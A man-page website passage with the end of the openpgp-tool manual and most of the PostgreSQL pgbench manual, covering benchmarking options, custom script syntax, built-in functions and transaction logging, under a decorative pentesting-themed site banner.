Print values in raw format, as they are stored on the card.

–reader arg, -r arg

Number of the reader to use. By default, the first reader with a present card is used. If arg is an ATR, the reader with a matching card will be chosen.

–user-info, -U

Show card holder information.

–verify pintype

Verify PIN (CHV1, CHV2 or CHV3).

–version, -V

Print the version of the utility and exit.

–verbose, -v

Verbose operation. Use several times to enable debug output.

–wait, -w

Wait for a card to be inserted.

AUTHORS

openpgp-tool utility was written by Peter Marschall <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

623 - Linux cli command pgbench

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pgbench and provides detailed information about the command pgbench, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pgbench.

NAME 🖥️ pgbench 🖥️

run a benchmark test on PostgreSQL

SYNOPSIS

pgbench -i [option…] [dbname]

pgbench [option…] [dbname]

DESCRIPTION

pgbench is a simple program for running benchmark tests on PostgreSQL. It runs the same sequence of SQL commands over and over, possibly in multiple concurrent database sessions, and then calculates the average transaction rate (transactions per second). By default, pgbench tests a scenario that is loosely based on TPC-B, involving five SELECT, UPDATE, and INSERT commands per transaction. However, it is easy to test other cases by writing your own transaction script files.

Typical output from pgbench looks like:

transaction type: <builtin: TPC-B (sort of)> scaling factor: 10 query mode: simple number of clients: 10 number of threads: 1 maximum number of tries: 1 number of transactions per client: 1000 number of transactions actually processed: 10000/10000 number of failed transactions: 0 (0.000%) latency average = 11.013 ms latency stddev = 7.351 ms initial connection time = 45.758 ms tps = 896.967014 (without initial connection time)

The first seven lines report some of the most important parameter settings. The sixth line reports the maximum number of tries for transactions with serialization or deadlock errors (see Failures and Serialization/Deadlock Retries for more information). The eighth line reports the number of transactions completed and intended (the latter being just the product of number of clients and number of transactions per client); these will be equal unless the run failed before completion or some SQL command(s) failed. (In -T mode, only the actual number of transactions is printed.) The next line reports the number of failed transactions due to serialization or deadlock errors (see Failures and Serialization/Deadlock Retries for more information). The last line reports the number of transactions per second.

The default TPC-B-like transaction test requires specific tables to be set up beforehand. pgbench should be invoked with the -i (initialize) option to create and populate these tables. (When you are testing a custom script, you dont need this step, but will instead need to do whatever setup your test needs.) Initialization looks like:

pgbench -i [ other-options ] dbname

where dbname is the name of the already-created database to test in. (You may also need -h, -p, and/or -U options to specify how to connect to the database server.)

Caution

pgbench -i creates four tables pgbench_accounts, pgbench_branches, pgbench_history, and pgbench_tellers, destroying any existing tables of these names. Be very careful to use another database if you have tables having these names!

At the default “scale factor” of 1, the tables initially contain this many rows:

table # of rows ——————————— pgbench_branches 1 pgbench_tellers 10 pgbench_accounts 100000 pgbench_history 0

You can (and, for most purposes, probably should) increase the number of rows by using the -s (scale factor) option. The -F (fillfactor) option might also be used at this point.

Once you have done the necessary setup, you can run your benchmark with a command that doesnt include -i, that is

pgbench [ options ] dbname

In nearly all cases, youll need some options to make a useful test. The most important options are -c (number of clients), -t (number of transactions), -T (time limit), and -f (specify a custom script file). See below for a full list.

OPTIONS

The following is divided into three subsections. Different options are used during database initialization and while running benchmarks, but some options are useful in both cases.

Initialization Options

pgbench accepts the following command-line initialization arguments:

dbname

Specifies the name of the database to test in. If this is not specified, the environment variable PGDATABASE is used. If that is not set, the user name specified for the connection is used.

-i
–initialize

Required to invoke initialization mode.

-I init_steps
**–init-steps=**init_steps

Perform just a selected set of the normal initialization steps. init_steps specifies the initialization steps to be performed, using one character per step. Each step is invoked in the specified order. The default is dtgvp. The available steps are:

d (Drop)

Drop any existing pgbench tables.

t (create Tables)

Create the tables used by the standard pgbench scenario, namely pgbench_accounts, pgbench_branches, pgbench_history, and pgbench_tellers.

g or G (Generate data, client-side or server-side)

Generate data and load it into the standard tables, replacing any data already present.

With g (client-side data generation), data is generated in pgbench client and then sent to the server. This uses the client/server bandwidth extensively through a COPY. pgbench uses the FREEZE option with version 14 or later of PostgreSQL to speed up subsequent VACUUM, unless partitions are enabled. Using g causes logging to print one message every 100,000 rows while generating data for the pgbench_accounts table.

With G (server-side data generation), only small queries are sent from the pgbench client and then data is actually generated in the server. No significant bandwidth is required for this variant, but the server will do more work. Using G causes logging not to print any progress message while generating data.

The default initialization behavior uses client-side data generation (equivalent to g).

v (Vacuum)

Invoke VACUUM on the standard tables.

p (create Primary keys)

Create primary key indexes on the standard tables.

f (create Foreign keys)

Create foreign key constraints between the standard tables. (Note that this step is not performed by default.)

-F fillfactor
**–fillfactor=**fillfactor

Create the pgbench_accounts, pgbench_tellers and pgbench_branches tables with the given fillfactor. Default is 100.

-n
–no-vacuum

Perform no vacuuming during initialization. (This option suppresses the v initialization step, even if it was specified in -I.)

-q
–quiet

Switch logging to quiet mode, producing only one progress message per 5 seconds. The default logging prints one message each 100,000 rows, which often outputs many lines per second (especially on good hardware).

This setting has no effect if G is specified in -I.

-s scale_factor
**–scale=**scale_factor

Multiply the number of rows generated by the scale factor. For example, -s 100 will create 10,000,000 rows in the pgbench_accounts table. Default is 1. When the scale is 20,000 or larger, the columns used to hold account identifiers (aid columns) will switch to using larger integers (bigint), in order to be big enough to hold the range of account identifiers.

–foreign-keys

Create foreign key constraints between the standard tables. (This option adds the f step to the initialization step sequence, if it is not already present.)

**–index-tablespace=**index_tablespace

Create indexes in the specified tablespace, rather than the default tablespace.

**–partition-method=**NAME

Create a partitioned pgbench_accounts table with NAME method. Expected values are range or hash. This option requires that –partitions is set to non-zero. If unspecified, default is range.

**–partitions=**NUM

Create a partitioned pgbench_accounts table with NUM partitions of nearly equal size for the scaled number of accounts. Default is 0, meaning no partitioning.

**–tablespace=**tablespace

Create tables in the specified tablespace, rather than the default tablespace.

–unlogged-tables

Create all tables as unlogged tables, rather than permanent tables.

Benchmarking Options

pgbench accepts the following command-line benchmarking arguments:

-b scriptname[@weight]
–builtin=scriptname[@weight]

Add the specified built-in script to the list of scripts to be executed. Available built-in scripts are: tpcb-like, simple-update and select-only. Unambiguous prefixes of built-in names are accepted. With the special name list, show the list of built-in scripts and exit immediately.

Optionally, write an integer weight after @ to adjust the probability of selecting this script versus other ones. The default weight is 1. See below for details.

-c clients
**–client=**clients

Number of clients simulated, that is, number of concurrent database sessions. Default is 1.

-C
–connect

Establish a new connection for each transaction, rather than doing it just once per client session. This is useful to measure the connection overhead.

-d
–debug

Print debugging output.

-D varname=value
**–define=**varname=value

Define a variable for use by a custom script (see below). Multiple -D options are allowed.

-f filename[@weight]
**–file=**filename[@weight]

Add a transaction script read from filename to the list of scripts to be executed.

Optionally, write an integer weight after @ to adjust the probability of selecting this script versus other ones. The default weight is 1. (To use a script file name that includes an @ character, append a weight so that there is no ambiguity, for example filen@me@1.) See below for details.

-j threads
**–jobs=**threads

Number of worker threads within pgbench. Using more than one thread can be helpful on multi-CPU machines. Clients are distributed as evenly as possible among available threads. Default is 1.

-l
–log

Write information about each transaction to a log file. See below for details.

-L limit
**–latency-limit=**limit

Transactions that last more than limit milliseconds are counted and reported separately, as late.

When throttling is used (–rate=…), transactions that lag behind schedule by more than limit ms, and thus have no hope of meeting the latency limit, are not sent to the server at all. They are counted and reported separately as skipped.

When the –max-tries option is used, a transaction which fails due to a serialization anomaly or from a deadlock will not be retried if the total time of all its tries is greater than limit ms. To limit only the time of tries and not their number, use –max-tries=0. By default, the option –max-tries is set to 1 and transactions with serialization/deadlock errors are not retried. See Failures and Serialization/Deadlock Retries for more information about retrying such transactions.

-M querymode
**–protocol=**querymode

Protocol to use for submitting queries to the server:

·

simple: use simple query protocol.

·

extended: use extended query protocol.

·

prepared: use extended query protocol with prepared statements.

In the prepared mode, pgbench reuses the parse analysis result starting from the second query iteration, so pgbench runs faster than in other modes.

The default is simple query protocol. (See Chapter 55 for more information.)

-n
–no-vacuum

Perform no vacuuming before running the test. This option is necessary if you are running a custom test scenario that does not include the standard tables pgbench_accounts, pgbench_branches, pgbench_history, and pgbench_tellers.

-N
–skip-some-updates

Run built-in simple-update script. Shorthand for -b simple-update.

-P sec
**–progress=**sec

Show progress report every sec seconds. The report includes the time since the beginning of the run, the TPS since the last report, and the transaction latency average, standard deviation, and the number of failed transactions since the last report. Under throttling (-R), the latency is computed with respect to the transaction scheduled start time, not the actual transaction beginning time, thus it also includes the average schedule lag time. When –max-tries is used to enable transaction retries after serialization/deadlock errors, the report includes the number of retried transactions and the sum of all retries.

-r
–report-per-command

Report the following statistics for each command after the benchmark finishes: the average per-statement latency (execution time from the perspective of the client), the number of failures, and the number of retries after serialization or deadlock errors in this command. The report displays retry statistics only if the –max-tries option is not equal to 1.

-R rate
**–rate=**rate

Execute transactions targeting the specified rate instead of running as fast as possible (the default). The rate is given in transactions per second. If the targeted rate is above the maximum possible rate, the rate limit wont impact the results.

The rate is targeted by starting transactions along a Poisson-distributed schedule time line. The expected start time schedule moves forward based on when the client first started, not when the previous transaction ended. That approach means that when transactions go past their original scheduled end time, it is possible for later ones to catch up again.

When throttling is active, the transaction latency reported at the end of the run is calculated from the scheduled start times, so it includes the time each transaction had to wait for the previous transaction to finish. The wait time is called the schedule lag time, and its average and maximum are also reported separately. The transaction latency with respect to the actual transaction start time, i.e., the time spent executing the transaction in the database, can be computed by subtracting the schedule lag time from the reported latency.

If –latency-limit is used together with –rate, a transaction can lag behind so much that it is already over the latency limit when the previous transaction ends, because the latency is calculated from the scheduled start time. Such transactions are not sent to the server, but are skipped altogether and counted separately.

A high schedule lag time is an indication that the system cannot process transactions at the specified rate, with the chosen number of clients and threads. When the average transaction execution time is longer than the scheduled interval between each transaction, each successive transaction will fall further behind, and the schedule lag time will keep increasing the longer the test run is. When that happens, you will have to reduce the specified transaction rate.

-s scale_factor
**–scale=**scale_factor

Report the specified scale factor in pgbenchs output. With the built-in tests, this is not necessary; the correct scale factor will be detected by counting the number of rows in the pgbench_branches table. However, when testing only custom benchmarks (-f option), the scale factor will be reported as 1 unless this option is used.

-S
–select-only

Run built-in select-only script. Shorthand for -b select-only.

-t transactions
**–transactions=**transactions

Number of transactions each client runs. Default is 10.

-T seconds
**–time=**seconds

Run the test for this many seconds, rather than a fixed number of transactions per client. -t and -T are mutually exclusive.

-v
–vacuum-all

Vacuum all four standard tables before running the test. With neither -n nor -v, pgbench will vacuum the pgbench_tellers and pgbench_branches tables, and will truncate pgbench_history.

**–aggregate-interval=**seconds

Length of aggregation interval (in seconds). May be used only with -l option. With this option, the log contains per-interval summary data, as described below.

–failures-detailed

Report failures in per-transaction and aggregation logs, as well as in the main and per-script reports, grouped by the following types:

·

serialization failures;

·

deadlock failures;

See Failures and Serialization/Deadlock Retries for more information.

**–log-prefix=**prefix

Set the filename prefix for the log files created by –log. The default is pgbench_log.

**–max-tries=**number_of_tries

Enable retries for transactions with serialization/deadlock errors and set the maximum number of these tries. This option can be combined with the –latency-limit option which limits the total time of all transaction tries; moreover, you cannot use an unlimited number of tries (–max-tries=0) without –latency-limit or –time. The default value is 1 and transactions with serialization/deadlock errors are not retried. See Failures and Serialization/Deadlock Retries for more information about retrying such transactions.

–progress-timestamp

When showing progress (option -P), use a timestamp (Unix epoch) instead of the number of seconds since the beginning of the run. The unit is in seconds, with millisecond precision after the dot. This helps compare logs generated by various tools.

**–random-seed=**seed

Set random generator seed. Seeds the system random number generator, which then produces a sequence of initial generator states, one for each thread. Values for seed may be: time (the default, the seed is based on the current time), rand (use a strong random source, failing if none is available), or an unsigned decimal integer value. The random generator is invoked explicitly from a pgbench script (random… functions) or implicitly (for instance option –rate uses it to schedule transactions). When explicitly set, the value used for seeding is shown on the terminal. Any value allowed for seed may also be provided through the environment variable PGBENCH_RANDOM_SEED. To ensure that the provided seed impacts all possible uses, put this option first or use the environment variable.

Setting the seed explicitly allows to reproduce a pgbench run exactly, as far as random numbers are concerned. As the random state is managed per thread, this means the exact same pgbench run for an identical invocation if there is one client per thread and there are no external or data dependencies. From a statistical viewpoint reproducing runs exactly is a bad idea because it can hide the performance variability or improve performance unduly, e.g., by hitting the same pages as a previous run. However, it may also be of great help for debugging, for instance re-running a tricky case which leads to an error. Use wisely.

**–sampling-rate=**rate

Sampling rate, used when writing data into the log, to reduce the amount of log generated. If this option is given, only the specified fraction of transactions are logged. 1.0 means all transactions will be logged, 0.05 means only 5% of the transactions will be logged.

Remember to take the sampling rate into account when processing the log file. For example, when computing TPS values, you need to multiply the numbers accordingly (e.g., with 0.01 sample rate, youll only get 1/100 of the actual TPS).

**–show-script=**scriptname

Show the actual code of builtin script scriptname on stderr, and exit immediately.

–verbose-errors

Print messages about all errors and failures (errors without retrying) including which limit for retries was exceeded and how far it was exceeded for the serialization/deadlock failures. (Note that in this case the output can be significantly increased.). See Failures and Serialization/Deadlock Retries for more information.

Common Options

pgbench also accepts the following common command-line arguments for connection parameters:

-h hostname
**–host=**hostname

The database servers host name

-p port
**–port=**port

The database servers port number

-U login
**–username=**login

The user name to connect as

-V
–version

Print the pgbench version and exit.

-?
–help

Show help about pgbench command line arguments, and exit.

EXIT STATUS

A successful run will exit with status 0. Exit status 1 indicates static problems such as invalid command-line options or internal errors which are supposed to never occur. Early errors that occur when starting benchmark such as initial connection failures also exit with status 1. Errors during the run such as database errors or problems in the script will result in exit status 2. In the latter case, pgbench will print partial results.

ENVIRONMENT

PGDATABASE
PGHOST
PGPORT
PGUSER

Default connection parameters.

This utility, like most other PostgreSQL utilities, uses the environment variables supported by libpq (see Section 34.15).

The environment variable PG_COLOR specifies whether to use color in diagnostic messages. Possible values are always, auto and never.

NOTES

What Is the “Transaction” Actually Performed in pgbench?

pgbench executes test scripts chosen randomly from a specified list. The scripts may include built-in scripts specified with -b and user-provided scripts specified with -f. Each script may be given a relative weight specified after an @ so as to change its selection probability. The default weight is 1. Scripts with a weight of 0 are ignored.

The default built-in transaction script (also invoked with -b tpcb-like) issues seven commands per transaction over randomly chosen aid, tid, bid and delta. The scenario is inspired by the TPC-B benchmark, but is not actually TPC-B, hence the name.

1.

BEGIN;

2.

UPDATE pgbench_accounts SET abalance = abalance + :delta WHERE aid = :aid;

3.

SELECT abalance FROM pgbench_accounts WHERE aid = :aid;

4.

UPDATE pgbench_tellers SET tbalance = tbalance + :delta WHERE tid = :tid;

5.

UPDATE pgbench_branches SET bbalance = bbalance + :delta WHERE bid = :bid;

6.

INSERT INTO pgbench_history (tid, bid, aid, delta, mtime) VALUES (:tid, :bid, :aid, :delta, CURRENT_TIMESTAMP);

7.

END;

If you select the simple-update built-in (also -N), steps 4 and 5 arent included in the transaction. This will avoid update contention on these tables, but it makes the test case even less like TPC-B.

If you select the select-only built-in (also -S), only the SELECT is issued.

Custom Scripts

pgbench has support for running custom benchmark scenarios by replacing the default transaction script (described above) with a transaction script read from a file (-f option). In this case a “transaction” counts as one execution of a script file.

A script file contains one or more SQL commands terminated by semicolons. Empty lines and lines beginning with – are ignored. Script files can also contain “meta commands”, which are interpreted by pgbench itself, as described below.

Note

Before PostgreSQL 9.6, SQL commands in script files were terminated by newlines, and so they could not be continued across lines. Now a semicolon is required to separate consecutive SQL commands (though an SQL command does not need one if it is followed by a meta command). If you need to create a script file that works with both old and new versions of pgbench, be sure to write each SQL command on a single line ending with a semicolon.

It is assumed that pgbench scripts do not contain incomplete blocks of SQL transactions. If at runtime the client reaches the end of the script without completing the last transaction block, it will be aborted.

There is a simple variable-substitution facility for script files. Variable names must consist of letters (including non-Latin letters), digits, and underscores, with the first character not being a digit. Variables can be set by the command-line -D option, explained above, or by the meta commands explained below. In addition to any variables preset by -D command-line options, there are a few variables that are preset automatically, listed in Table 293. A value specified for these variables using -D takes precedence over the automatic presets. Once set, a variables value can be inserted into an SQL command by writing :variablename. When running more than one client session, each session has its own set of variables. pgbench supports up to 255 variable uses in one statement.

Table 293. pgbench Automatic Variables

VariableDescription
client_idunique number identifying the client session (starts from zero)
default_seedseed used in hash and pseudorandom permutation functions by default
random_seedrandom generator seed (unless overwritten with -D)
scalecurrent scale factor

Script file meta commands begin with a backslash (\ and normally extend to the end of the line, although they can be continued to additional lines by writing backslash-return. Arguments to a meta command are separated by white space. These meta commands are supported:

\gset [prefix] set [prefix]

These commands may be used to end SQL queries, taking the place of the terminating semicolon (;).

When the \gset command is used, the preceding SQL query is expected to return one row, the columns of which are stored into variables named after column names, and prefixed with prefix if provided.

When the set command is used, all combined SQL queries (separated by ) have their columns stored into variables named after column names, and prefixed with prefix if provided. If a query returns no row, no assignment is made and the variable can be tested for existence to detect this. If a query returns more than one row, the last value is kept.

\gset and set cannot be used in pipeline mode, since the query results are not yet available by the time the commands would need them.

The following example puts the final account balance from the first query into variable abalance, and fills variables p_two and p_three with integers from the third query. The result of the second query is discarded. The result of the two last combined queries are stored in variables four and five.

UPDATE pgbench_accounts SET abalance = abalance + :delta WHERE aid = :aid RETURNING abalance \gset – compound of two queries SELECT 1 ; SELECT 2 AS two, 3 AS three \gset p_ SELECT 4 AS four ; SELECT 5 AS five set

\if expression
lif expression
lse
ndif

This group of commands implements nestable conditional blocks, similarly to psqls \if expression. Conditional expressions are identical to those with \set, with non-zero values interpreted as true.

\set varname expression

Sets variable varname to a value calculated from expression. The expression may contain the NULL constant, Boolean constants TRUE and FALSE, integer constants such as 5432, double constants such as 3.14159, references to variables :variablename, operators with their usual SQL precedence and associativity, function calls, SQL CASE generic conditional expressions and parentheses.

Functions and most operators return NULL on NULL input.

For conditional purposes, non zero numerical values are TRUE, zero numerical values and NULL are FALSE.

Too large or small integer and double constants, as well as integer arithmetic operators (+, -, * and /) raise errors on overflows.

When no final ELSE clause is provided to a CASE, the default value is NULL.

Examples:

\set ntellers 10 * :scale \set aid (1021 * random(1, 100000 * :scale)) %
(100000 * :scale) + 1 \set divx CASE WHEN :x <> 0 THEN :y/:x ELSE NULL END

\sleep number [ us | ms | s ]

Causes script execution to sleep for the specified duration in microseconds (us), milliseconds (ms) or seconds (s). If the unit is omitted then seconds are the default. number can be either an integer constant or a :variablename reference to a variable having an integer value.

Example:

\sleep 10 ms

\setshell varname command [ argument … ]

Sets variable varname to the result of the shell command command with the given argument(s). The command must return an integer value through its standard output.

command and each argument can be either a text constant or a :variablename reference to a variable. If you want to use an argument starting with a colon, write an additional colon at the beginning of argument.

Example:

\setshell variable_to_be_assigned command literal_argument :variable ::literal_starting_with_colon

\shell command [ argument … ]

Same as \setshell, but the result of the command is discarded.

Example:

\shell command literal_argument :variable ::literal_starting_with_colon

\startpipeline
ndpipeline

These commands delimit the start and end of a pipeline of SQL statements. In pipeline mode, statements are sent to the server without waiting for the results of previous statements. See Section 34.5 for more details. Pipeline mode requires the use of extended query protocol.

Built-in Operators

The arithmetic, bitwise, comparison and logical operators listed in Table 294 are built into pgbench and may be used in expressions appearing in \set. The operators are listed in increasing precedence order. Except as noted, operators taking two numeric inputs will produce a double value if either input is double, otherwise they produce an integer result.

Table 294. pgbench Operators

Operator

.PP Description

.PP Example(s)

boolean OR booleanboolean

.PP Logical OR

.PP 5 or 0 → TRUE

boolean AND booleanboolean

.PP Logical AND

.PP 3 and 0 → FALSE

NOT booleanboolean

.PP Logical NOT

.PP not false → TRUE

boolean IS [NOT] (NULL|TRUE|FALSE) → boolean

.PP Boolean value tests

.PP 1 is null → FALSE

value ISNULL|NOTNULL → boolean

.PP Nullness tests

.PP 1 notnull → TRUE

number = numberboolean

.PP Equal

.PP 5 = 4 → FALSE

number <> numberboolean

.PP Not equal

.PP 5 <> 4 → TRUE

number != numberboolean

.PP Not equal

.PP 5 != 5 → FALSE

number < numberboolean

.PP Less than

.PP 5 < 4 → FALSE

number <= numberboolean

.PP Less than or equal to

.PP 5 <= 4 → FALSE

number > numberboolean

.PP Greater than

.PP 5 > 4 → TRUE

number >= numberboolean

.PP Greater than or equal to

.PP 5 >= 4 → TRUE

integer | integerinteger

.PP Bitwise OR

.PP 1 | 2 → 3

integer # integerinteger

.PP Bitwise XOR

.PP 1 # 3 → 2

integer & integerinteger

.PP Bitwise AND

.PP 1 & 3 → 1

~ integerinteger

.PP Bitwise NOT

.PP ~ 1 → -2

integer << integerinteger

.PP Bitwise shift left

.PP 1 << 2 → 4

integer >> integerinteger

.PP Bitwise shift right

.PP 8 >> 2 → 2

number + numbernumber

.PP Addition

.PP 5 + 4 → 9

number - numbernumber

.PP Subtraction

.PP 3 - 2.0 → 1.0

number * numbernumber

.PP Multiplication

.PP 5 * 4 → 20

number / numbernumber

.PP Division (truncates the result towards zero if both inputs are integers)

.PP 5 / 3 → 1

integer % integerinteger

.PP Modulo (remainder)

.PP 3 % 2 → 1

- numbernumber

.PP Negation

.PP - 2.0 → -2.0

Built-In Functions

The functions listed in Table 295 are built into pgbench and may be used in expressions appearing in \set.

Table 295. pgbench Functions

Function

.PP Description

.PP Example(s)

abs ( number ) → same type as input

.PP Absolute value

.PP abs(-17) → 17

debug ( number ) → same type as input

.PP Prints the argument to stderr, and returns the argument.

.PP debug(5432.1) → 5432.1

double ( number ) → double

.PP Casts to double.

.PP double(5432) → 5432.0

exp ( number ) → double

.PP Exponential (e raised to the given power)

.PP exp(1.0) → 2.718281828459045

greatest ( number [, ... ] ) → double if any argument is double, else integer

.PP Selects the largest value among the arguments.

.PP greatest(5, 4, 3, 2) → 5

hash ( value [, seed ] ) → integer

.PP This is an alias for hash_murmur2.

.PP hash(10, 5432) → -5817877081768721676

hash_fnv1a ( value [, seed ] ) → integer

.PP Computes FNV-1a hash.

.PP hash_fnv1a(10, 5432) → -7793829335365542153

hash_murmur2 ( value [, seed ] ) → integer

.PP Computes MurmurHash2 hash.

.PP hash_murmur2(10, 5432) → -5817877081768721676

int ( number ) → integer

.PP Casts to integer.

.PP int(5.4 + 3.8) → 9

least ( number [, ... ] ) → double if any argument is double, else integer

.PP Selects the smallest value among the arguments.

.PP least(5, 4, 3, 2.1) → 2.1

ln ( number ) → double

.PP Natural logarithm

.PP ln(2.718281828459045) → 1.0

mod ( integer, integer ) → integer

.PP Modulo (remainder)

.PP mod(54, 32) → 22

permute ( i, size [, seed ] ) → integer

.PP Permuted value of i, in the range [0, size). This is the new position of i (modulo size) in a pseudorandom permutation of the integers 0...size-1, parameterized by seed, see below.

.PP permute(0, 4) → an integer between 0 and 3

pi () → double

.PP Approximate value of π

.PP pi() → 3.14159265358979323846

pow ( x, y ) → double

.PP power ( x, y ) → double

.PP x raised to the power of y

.PP pow(2.0, 10) → 1024.0

random ( lb, ub ) → integer

.PP Computes a uniformly-distributed random integer in [lb, ub].

.PP random(1, 10) → an integer between 1 and 10

random_exponential ( lb, ub, parameter ) → integer

.PP Computes an exponentially-distributed random integer in [lb, ub], see below.

.PP random_exponential(1, 10, 3.0) → an integer between 1 and 10

random_gaussian ( lb, ub, parameter ) → integer

.PP Computes a Gaussian-distributed random integer in [lb, ub], see below.

.PP random_gaussian(1, 10, 2.5) → an integer between 1 and 10

random_zipfian ( lb, ub, parameter ) → integer

.PP Computes a Zipfian-distributed random integer in [lb, ub], see below.

.PP random_zipfian(1, 10, 1.5) → an integer between 1 and 10

sqrt ( number ) → double

.PP Square root

.PP sqrt(2.0) → 1.414213562

The random function generates values using a uniform distribution, that is all the values are drawn within the specified range with equal probability. The random_exponential, random_gaussian and random_zipfian functions require an additional double parameter which determines the precise shape of the distribution.

·

For an exponential distribution, parameter controls the distribution by truncating a quickly-decreasing exponential distribution at parameter, and then projecting onto integers between the bounds. To be precise, with

f(x) = exp(-parameter * (x - min) / (max - min + 1)) / (1 - exp(-parameter))

Then value i between min and max inclusive is drawn with probability: f(i) - f(i + 1).

Intuitively, the larger the parameter, the more frequently values close to min are accessed, and the less frequently values close to max are accessed. The closer to 0 parameter is, the flatter (more uniform) the access distribution. A crude approximation of the distribution is that the most frequent 1% values in the range, close to min, are drawn parameter% of the time. The parameter value must be strictly positive.

·

For a Gaussian distribution, the interval is mapped onto a standard normal distribution (the classical bell-shaped Gaussian curve) truncated at -parameter on the left and +parameter on the right. Values in the middle of the interval are more likely to be drawn. To be precise, if PHI(x) is the cumulative distribution function of the standard normal distribution, with mean mu defined as (max + min) / 2.0, with

f(x) = PHI(2.0 * parameter * (x - mu) / (max - min + 1)) / (2.0 * PHI(parameter) - 1)

then value i between min and max inclusive is drawn with probability: f(i + 0.5) - f(i - 0.5). Intuitively, the larger the parameter, the more frequently values close to the middle of the interval are drawn, and the less frequently values close to the min and max bounds. About 67% of values are drawn from the middle 1.0 / parameter, that is a relative 0.5 / parameter around the mean, and 95% in the middle 2.0 / parameter, that is a relative 1.0 / parameter around the mean; for instance, if parameter is 4.0, 67% of values are drawn from the middle quarter (1.0 / 4.0) of the interval (i.e., from 3.0 / 8.0 to 5.0 / 8.0) and 95% from the middle half (2.0 / 4.0) of the interval (second and third quartiles). The minimum allowed parameter value is 2.0.

·

random_zipfian generates a bounded Zipfian distribution. parameter defines how skewed the distribution is. The larger the parameter, the more frequently values closer to the beginning of the interval are drawn. The distribution is such that, assuming the range starts from 1, the ratio of the probability of drawing k versus drawing k+1 is ((k+1)/k)**parameter. For example, random_zipfian(1, …, 2.5) produces the value 1 about (2/1)**2.5 = 5.66 times more frequently than 2, which itself is produced (3/2)**2.5 = 2.76 times more frequently than 3, and so on.

pgbenchs implementation is based on “Non-Uniform Random Variate Generation”, Luc Devroye, p. 550-551, Springer 1986. Due to limitations of that algorithm, the parameter value is restricted to the range [1.001, 1000].

Note

When designing a benchmark which selects rows non-uniformly, be aware that the rows chosen may be correlated with other data such as IDs from a sequence or the physical row ordering, which may skew performance measurements.

To avoid this, you may wish to use the permute function, or some other additional step with similar effect, to shuffle the selected rows and remove such correlations.

Hash functions hash, hash_murmur2 and hash_fnv1a accept an input value and an optional seed parameter. In case the seed isnt provided the value of :default_seed is used, which is initialized randomly unless set by the command-line -D option.

permute accepts an input value, a size, and an optional seed parameter. It generates a pseudorandom permutation of integers in the range [0, size), and returns the index of the input value in the permuted values. The permutation chosen is parameterized by the seed, which defaults to :default_seed, if not specified. Unlike the hash functions, permute ensures that there are no collisions or holes in the output values. Input values outside the interval are interpreted modulo the size. The function raises an error if the size is not positive. permute can be used to scatter the distribution of non-uniform random functions such as random_zipfian or random_exponential so that values drawn more often are not trivially correlated. For instance, the following pgbench script simulates a possible real world workload typical for social media and blogging platforms where a few accounts generate excessive load:

\set size 1000000 \set r random_zipfian(1, :size, 1.07) \set k 1 + permute(:r, :size)

In some cases several distinct distributions are needed which dont correlate with each other and this is when the optional seed parameter comes in handy:

\set k1 1 + permute(:r, :size, :default_seed + 123) \set k2 1 + permute(:r, :size, :default_seed + 321)

A similar behavior can also be approximated with hash:

\set size 1000000 \set r random_zipfian(1, 100 * :size, 1.07) \set k 1 + abs(hash(:r)) % :size

However, since hash generates collisions, some values will not be reachable and others will be more frequent than expected from the original distribution.

As an example, the full definition of the built-in TPC-B-like transaction is:

\set aid random(1, 100000 * :scale) \set bid random(1, 1 * :scale) \set tid random(1, 10 * :scale) \set delta random(-5000, 5000) BEGIN; UPDATE pgbench_accounts SET abalance = abalance + :delta WHERE aid = :aid; SELECT abalance FROM pgbench_accounts WHERE aid = :aid; UPDATE pgbench_tellers SET tbalance = tbalance + :delta WHERE tid = :tid; UPDATE pgbench_branches SET bbalance = bbalance + :delta WHERE bid = :bid; INSERT INTO pgbench_history (tid, bid, aid, delta, mtime) VALUES (:tid, :bid, :aid, :delta, CURRENT_TIMESTAMP); END;

This script allows each iteration of the transaction to reference different, randomly-chosen rows. (This example also shows why its important for each client session to have its own variables — otherwise theyd not be independently touching different rows.)

Per-Transaction Logging

With the -l option (but without the –aggregate-interval option), pgbench writes information about each transaction to a log file. The log file will be named prefix.nnn, where prefix defaults to pgbench_log, and nnn is the PID of the pgbench process. The prefix can be changed by using the –log-prefix option. If the -j option is 2 or higher, so that there are multiple worker threads, each will have its own log file. The first worker will use the same name for its log file as in the standard single worker case. The additional log files for the other workers will be named prefix.nnn.mmm, where mmm is a sequential number for each worker starting with 1.

Each line in a log file describes one transaction. It contains the following space-separated fields:

client_id

identifies the client session that ran the transaction

transaction_no

counts how many transactions have been run by that session

time

transactions elapsed time, in microseconds

script_no

identifies the script file that was used for the transaction (useful when multiple scripts are specified with -f or -b)

time_epoch

transactions completion time, as a Unix-epoch time stamp

time_us

fractional-second part of transactions completion time, in microseconds

schedule_lag

transaction start delay, that is the difference between the transactions scheduled start time and the time it actually started, in microseconds (present only if –rate is specified)

retries

count of retries after serialization or deadlock errors during the transaction (present only if –max-tries is not equal to one)

When both –rate and –latency-limit are used, the time for a skipped transaction will be reported as skipped. If the transaction ends with a failure, its time will be reported as failed. If you use the –failures-detailed option, the time of the failed transaction will be reported as serialization or deadlock depending on the type of failure (see Failures and Serialization/Deadlock Retries for more information).

Here is a snippet of a log file generated in a single-client run:

0 199 2241 0 1175850568 995598 0 200 2465 0 1175850568 998079 0 201 2513 0 1175850569 608 0 202 2038 0 1175850569 2663

